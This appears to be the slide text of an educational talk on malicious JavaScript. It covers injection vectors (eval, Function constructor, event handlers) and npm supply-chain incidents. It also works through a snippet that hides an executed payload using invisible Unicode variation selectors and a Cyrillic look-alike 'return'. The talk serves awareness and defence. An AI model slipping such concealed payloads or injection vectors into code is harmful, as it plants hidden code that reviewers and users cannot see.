Evil JavaScript

Evil JavaScript

An overview of malicious JS code and common JS attack vectors

Disclaimers

It is not a rant about JavaScript

I'm not a DevSec expert

I'm not a evil hacker

see, I have a white hat on pp

What this talk is about

Danger awareness

Risk management

Regrets

Code Injection

vectors in JavaScript

Dynamic code evaluation
eval is evil

var name = prompt("What's your name ?")
eval("alert('Hello " + name + " !') ")

Dynamic code evaluation

Think you are safe without eval ?

// setTimeout and setInterval
setTimeout('alert("evil")', 100)
setInterval('alert("evil")', 100);

// Function constructor
( new Function('alert("evil")') )();

// script tag insert
var script = 'script>';
document.write('<' + script + 'alert("evil")</' + script)

// Data URI
window.location='data:text/javascript,'+encodeURIComponent('alert("evil")');

// HTML event handlers
element.onmouseover='alert("evil")'

many more on https://html5sec.org/

Some people tried to prevent XSS by scanning and sanitizing code. They called it "XSS filters".

Don't use them. XSS filters only gives you an illusion of security, and only exist to be bypassed by Gareth Heyes

XSS Filters are so weak
you can accidentally bypass them without knowing it

featuring

Breaking news

Parenthesis are gone

 

http://aem1k.com/five/

This is possible by using 2 breaches in jQuery UI widgets:

 

$.datepicker.dpDiv[0] instanceof HTMLElement
$.Widget._childConstructors[7]._proto.options.position.of === window 

Risk management

  • Content Security Policy 3
  • OWASP XSS Prevention cheat sheet on every desk

Regret ?

XSS filters are a lie...

Why do I still use server-side templates  ?

Did I really need to set .innerHTML here ?

I should not have sticked with Angular 1...

Can't break through ?
Let the developer do it for you

JS developers are dangerous

Lack of proficiency

JavaScript devs that are either amateurs
or pros that don't use it as their main language

 

Reliance on external code

Most of JavaScript code on a website
is not written by the devs of this website:
either dependencies or copy-pasted

The Rabbit Hole

leftpad controversy - March 2016

One developer broke Node, Babel and thousands of projects by unpublishing a module called leftpad.
NPM had to un-un-publish it, against the wishes of its author. This is leftpad source code:

Famous NPM incidents

module.exports = function leftpad (str, len, ch) {
   str = String(str);

   var i = -1;

   if (!ch && ch !== 0) ch = ' ';

   len = len – str.length;

   while (++i < len) {
     str = ch + str;
   }

   return str;
}

eventstream malware - November 2018

The attacker

  • found a popular and not maintained package
  • offered to maintain the library after a few pull requests
  • was granted publish rights by the original maintainer
  • published a new version with a new dependency
    containing malicious code used to steal Bitcoin

Famous NPM incidents

Risk management

  • npm audits




     
  • Dependency Track
    contact:
    Nourredine Khadri

This is not a tooling issue,
nor a trust issue.
Neither the platform's fault.


JavaScript has a
scale
problem

Average JS size per webpage is 350kB, ~10x more than in 2010.
Most of this code is external

 

Most used language in the world = largest attack surface

So do yourself a favor and

do a npm diet

Regret.

Internalizing code
does not help
(actually it's worse)

Block StackOverflow in an IT company proxy and watch the world burn

- True Evil

What's the trick ?

Did you know
Unicode had
invisible,
zero-width characters ?

It is possible to make zero-width characters in  Unicode with the Variation Selectors, used to get glyph variants of a preceding character.

Without any preceding character, they are invisible !

Variation Selectors:
FE00 - FE0F
(16 chars, 2 bytes)

UTF-16 surrogates = 16x bigger range of characters !
u
sing a High and a Low surrogate on 4 bytes

 


 

Variation Selectors
Supplement:
E0100 - E01EF
(240 chars, 4 bytes)

Codepoint = 10000₁₆ + (H - D800₁₆) × 400₁₆ + (L - DC00₁₆)
\uDB40\uDD61 =  10000 + 340x400 +  161 = E0161

In the Variation Selectors Supplement Block, most are not used yet,
so they are invisible even when combined with previous characters !

Back to our StackOverflow bad guy...

What if we add
syntax highlighting ?

/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}

function hello(who){
   rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}

hello("world")

What if we add
syntax highlighting ?

/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}

function hello(who){
   rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}

hello("world")

See, this is not a comment line like the 3 lines before

I put a zero-width Unicode character between those slashes,
and now it is a regular expression !

/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}

function hello(who){
   rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}

hello("world")

I want to execute malicous code on this line now, but I need to end the RegExp instruction. Here I used a divide / operator followed by this;  an existing keyword in JS disguised as comment

/󠅡/ + (code)
/󠅡/ - (code)
/󠅡/ * (code)
/󠅡/ [ (code) ]
/󠅡// (code)

this pattern confuse many syntax highlighters

/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}

function hello(who){
   rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}

hello("world")

return is a reserved keyword in JavaScript, and cannot be reassigned
At this point, the dev should be convinced this is a harmless comment

Except...

This return used the cyrillic "e", which is indistinguishable from the Latin one.
Different code points = different JS identifiers

/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}

function hello(who){
   rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}

hello("world")

The same fake return is used here and call this function as a
tagged template literal, another little known JS feature

When faking keywords like return, this kind of function call is very hard to notice even for experienced JS developers.

/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}

function hello(who){
   rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}

hello("world")

This should bring your attention if you remember the first slides...
This is a dynamic code evaluation pattern
 

But to evaluate what code ?

Function("alert('evil')")()
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}

function hello(who){
   rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}

hello("world")

escape(f).replace(/u.{8}/g,'')
%uDB40%uDD61 → %u61 = "a"

The danger

  • Attack from the inside, trojan-like
  • Easy and wide target (Stack Overflow newbie question)
  • Exploit the target through their lack of knowledge
    and bad tooling (linters, highlighters...)
  • Separate malicious payload from execution point

This is just a Hello World !

  • Real cases are much more complex, intricate and vicious
  • Can be combined with social hacking or online surveillance to attack precise targets
  • Can happen in any of your dependencies codebase

Risk management

  • Code reviews
  • Dependency updates and audits
  • Use good tooling (IDE, linters)
  • Dedicated training for security issues awareness

The not-so-good solutions

  • Avoid UTF-8 for JS files encoding
     → not convenient
  • Rely on a framework built-in security features
  • Use an external tool like a XSS filter
    not good enough, illusion of security

Regret...

Thanks ! and... good luck !

Evil JavaScript

By sylvainpv

Evil JavaScript

An overview of malicious JS code and common JS attack vectors

  • 2,323